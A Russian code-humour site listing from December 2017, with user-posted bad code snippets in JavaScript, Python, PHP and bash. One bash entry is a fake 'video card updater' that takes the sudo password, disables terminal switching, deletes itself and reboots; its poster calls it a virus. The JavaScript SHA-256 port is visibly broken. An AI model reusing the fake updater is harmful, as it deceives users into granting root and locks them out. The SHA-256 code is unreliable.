1. Куча / Говнокод #23631

    0

    1. 1
    print('s ng krch');

    Batushka, 31 Декабря 2017

    Комментарии (41)
  2. JavaScript / Говнокод #23630

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    function isInteger(i) {
    	if(i > ~~i == false) return false
    	alert("тест "+(i > ~~i))
    	return true
    }
    alert( isInteger(1) ) // true
    alert( isInteger(1.5) ) // false
    alert( isInteger(-0.5) ) // false
    
    //Второй вариант с багом
    function isInteger(i) {
    	if(i > ~~i) return false
    	alert("тест "+(i > ~~i))
    	return true
    }
    alert( isInteger(1) ) // true
    alert( isInteger(1.5) ) // false
    alert( isInteger(-0.5) ) // false //нихуя не фалсе

    Это пиздец нахуй, смотрите как легко налажать в js

    fuckercoder, 31 Декабря 2017

    Комментарии (39)
  3. Куча / Говнокод #23629

    0

    1. 1
    Пока ты ещё далеко не ушёл, добавь кнопки "Поделиться" и "Мне нравится" от "ВКонтакте".

    COWuTEJIbTBOEuMAMKu, 30 Декабря 2017

    Комментарии (11)
  4. JavaScript / Говнокод #23628

    0

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    var id = setTimeout(function timer() {
    	var d = new Date()
    	document.getElementById('text').innerHTML = (d.getHours() < 10 ? '0'+d.getHours() : d.getHours())+':'+(d.getMinutes() < 10 ? '0'+d.getMinutes() : d.getMinutes() )+':'+(d.getSeconds() < 10 ? '0'+d.getSeconds() : d.getSeconds())
    	id = setTimeout(timer, 1000)
    }, 1000)

    Вот чем крут js это простотой и ненадобности ставить точки с запятыми!

    fuckercoder, 30 Декабря 2017

    Комментарии (6)
  5. Python / Говнокод #23627

    0

    1. 1
    Рубрика "плагины к Kodi" вернулась!

    http://kodi-addons.club/addon/plugin.video.viks.tv/4.2.0

    Качаем, открываем epg.db (формат sqlite), охуеваем. Можно еще поизучать файлы напитоне.

    syoma, 30 Декабря 2017

    Комментарии (14)
  6. Python / Говнокод #23626

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    def _get_list(self, string):
            """
                response to list parser, removes CSV list headers
            """
            def f(x):
                return x != '' and \
                        x != 'Created,e-Voucher number,Activation code,Currency,Batch,Payer Account,Payee Account,Activated,Amount' and \
                        x != 'Time,Type,Batch,Currency,Amount,Fee,Payer Account,Payee Account,Payment ID,Memo'
            if not string:
                return []
            rlist = string.split('\n')
            return filter(f, rlist)

    https://perfectmoney.is/acct/samples/python/class.txt
    Класс для работы с платёжным API

    хуита, 29 Декабря 2017

    Комментарии (1)
  7. JavaScript / Говнокод #23625

    0

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    function sha256_process_block(buffer, len, ctx)
    {
    	var words = buffer;
    	var nwords = len / 4;
    	var endp = words + nwords;
    	var x = [];
    	var a = ctx[0][0];
    	var b = ctx[0][1];
    	var c = ctx[0][2];
    	var d = ctx[0][3];
    	var e = ctx[0][4];
    	var f = ctx[0][5];
    	var g = ctx[0][6];
    	var h = ctx[0][7];
    	ctx[1][0] += len;
    	if(ctx[1][0] < len)
    		ctx[1][1]++;
    	while (words < endp)
    	{
    		var tm, t0, t1;
    		for(var t = 0; t < 16; t++)
    		{
    			x[t] = SWAP(words);
    	  		words++;
    		}
    
    		R( a, b, c, d, e, f, g, h, K( 0), x[ 0] );
    		R( h, a, b, c, d, e, f, g, K( 1), x[ 1] );
    		R( g, h, a, b, c, d, e, f, K( 2), x[ 2] );
    		R( f, g, h, a, b, c, d, e, K( 3), x[ 3] );
    		R( e, f, g, h, a, b, c, d, K( 4), x[ 4] );
    		R( d, e, f, g, h, a, b, c, K( 5), x[ 5] );
    		R( c, d, e, f, g, h, a, b, K( 6), x[ 6] );
    		R( b, c, d, e, f, g, h, a, K( 7), x[ 7] );
    		R( a, b, c, d, e, f, g, h, K( 8), x[ 8] );
    		R( h, a, b, c, d, e, f, g, K( 9), x[ 9] );
    		R( g, h, a, b, c, d, e, f, K(10), x[10] );
    		R( f, g, h, a, b, c, d, e, K(11), x[11] );
    		R( e, f, g, h, a, b, c, d, K(12), x[12] );
    		R( d, e, f, g, h, a, b, c, K(13), x[13] );
    		R( c, d, e, f, g, h, a, b, K(14), x[14] );
    		R( b, c, d, e, f, g, h, a, K(15), x[15] );
    		R( a, b, c, d, e, f, g, h, K(16), M(16, tm, x) );
    		R( h, a, b, c, d, e, f, g, K(17), M(17, tm, x) );
    		R( g, h, a, b, c, d, e, f, K(18), M(18, tm, x) );
    		R( f, g, h, a, b, c, d, e, K(19), M(19, tm, x) );
    		R( e, f, g, h, a, b, c, d, K(20), M(20, tm, x) );
    		R( d, e, f, g, h, a, b, c, K(21), M(21, tm, x) );
    		R( c, d, e, f, g, h, a, b, K(22), M(22, tm, x) );
    		R( b, c, d, e, f, g, h, a, K(23), M(23, tm, x) );
    		R( a, b, c, d, e, f, g, h, K(24), M(24, tm, x) );
    		R( h, a, b, c, d, e, f, g, K(25), M(25, tm, x) );
    		R( g, h, a, b, c, d, e, f, K(26), M(26, tm, x) );
    		R( f, g, h, a, b, c, d, e, K(27), M(27, tm, x) );
    		R( e, f, g, h, a, b, c, d, K(28), M(28, tm, x) );
    		R( d, e, f, g, h, a, b, c, K(29), M(29, tm, x) );
    		R( c, d, e, f, g, h, a, b, K(30), M(30, tm, x) );
    		R( b, c, d, e, f, g, h, a, K(31), M(31, tm, x) );
    		R( a, b, c, d, e, f, g, h, K(32), M(32, tm, x) );
    		R( h, a, b, c, d, e, f, g, K(33), M(33, tm, x) );
    		R( g, h, a, b, c, d, e, f, K(34), M(34, tm, x) );
    		R( f, g, h, a, b, c, d, e, K(35), M(35, tm, x) );
    		R( e, f, g, h, a, b, c, d, K(36), M(36, tm, x) );
    		R( d, e, f, g, h, a, b, c, K(37), M(37, tm, x) );
    		R( c, d, e, f, g, h, a, b, K(38), M(38, tm, x) );
    		R( b, c, d, e, f, g, h, a, K(39), M(39, tm, x) );
    		R( a, b, c, d, e, f, g, h, K(40), M(40, tm, x) );
    		R( h, a, b, c, d, e, f, g, K(41), M(41, tm, x) );
    		R( g, h, a, b, c, d, e, f, K(42), M(42, tm, x) );
    		R( f, g, h, a, b, c, d, e, K(43), M(43, tm, x) );
    		R( e, f, g, h, a, b, c, d, K(44), M(44, tm, x) );
    		R( d, e, f, g, h, a, b, c, K(45), M(45, tm, x) );
    		R( c, d, e, f, g, h, a, b, K(46), M(46, tm, x) );
    		R( b, c, d, e, f, g, h, a, K(47), M(47, tm, x) );
    		R( a, b, c, d, e, f, g, h, K(48), M(48, tm, x) );
    		R( h, a, b, c, d, e, f, g, K(49), M(49, tm, x) );
    		R( g, h, a, b, c, d, e, f, K(50), M(50, tm, x) );
    		R( f, g, h, a, b, c, d, e, K(51), M(51, tm, x) );
    		R( e, f, g, h, a, b, c, d, K(52), M(52, tm, x) );
    		R( d, e, f, g, h, a, b, c, K(53), M(53, tm, x) );
    		R( c, d, e, f, g, h, a, b, K(54), M(54, tm, x) );
    		R( b, c, d, e, f, g, h, a, K(55), M(55, tm, x) );
    		R( a, b, c, d, e, f, g, h, K(56), M(56, tm, x) );
    		R( h, a, b, c, d, e, f, g, K(57), M(57, tm, x) );
    		R( g, h, a, b, c, d, e, f, K(58), M(58, tm, x) );
    		R( f, g, h, a, b, c, d, e, K(59), M(59, tm, x) );
    		R( e, f, g, h, a, b, c, d, K(60), M(60, tm, x) );
    		R( d, e, f, g, h, a, b, c, K(61), M(61, tm, x) );
    		R( c, d, e, f, g, h, a, b, K(62), M(62, tm, x) );
    		R( b, c, d, e, f, g, h, a, K(63), M(63, tm, x) );
    		a = ctx[0][0]+=a;
    		b = ctx[0][1]+=b;
    		c = ctx[0][1]+=b;
    		d = ctx[0][1]+=b;
    		e = ctx[0][1]+=b;
    		f = ctx[0][1]+=b;
    		g = ctx[0][1]+=b;
    		h = ctx[0][1]+=b;
    	}
    }

    Пытался переписать sha256 на js и заебался!
    Это пиздец как сложно, сложнее только вынуть хуй который застрял в банке с шомпанским на новый год

    fuckercoder, 29 Декабря 2017

    Комментарии (5)
  8. bash / Говнокод #23624

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    #!/bin/sh
    echo "Вас  приветствует обновлятор видеокарты! Версия 1.0"
    echo "Мы обновим ваш софт автоматически, введите пожалуйста пароль адимнистратора"
    sudo echo -n "Установка..."
    sudo echo -e 'Section "ServerFlags"\nOption "DontVTSwitch" "true"\nEndSection' >/etc/X11/xorg.conf.d/99-system.conf
    let a=$RANDOM%15
    let a+=7
    sleep $a
    echo "Установка завершена! Приятного использования"
    sleep 1
    rm $0
    sudo reboot

    Это идеальная вирусня! Потом юзер просто не сможет войти в термы. Можно блокать доступ к экрану и так далее
    Можете не верить но вирусы на linux уже есть и дауны всякие кривожопые пользователи убунты не знают как их удалить

    fuckercoder, 29 Декабря 2017

    Комментарии (74)
  9. PHP / Говнокод #23622

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    $price = $service->price ? number_format($service->discount
        ?   
        (   
        $service->discount && $service->discount < 100 
            ?
            round($service->price - ($service->price * $service->discount / 100), 2)
            :
            0
        )   
        :   
        $service->price
        , 2, '.', '') 
    
        : "";

    KEKC, 28 Декабря 2017

    Комментарии (0)
  10. JavaScript / Говнокод #23620

    0

    1. 1
    https://pp.userapi.com/c841225/v841225007/529a0/yL9-zgjr3Lk.jpg

    боян

    Batushka, 27 Декабря 2017

    Комментарии (1)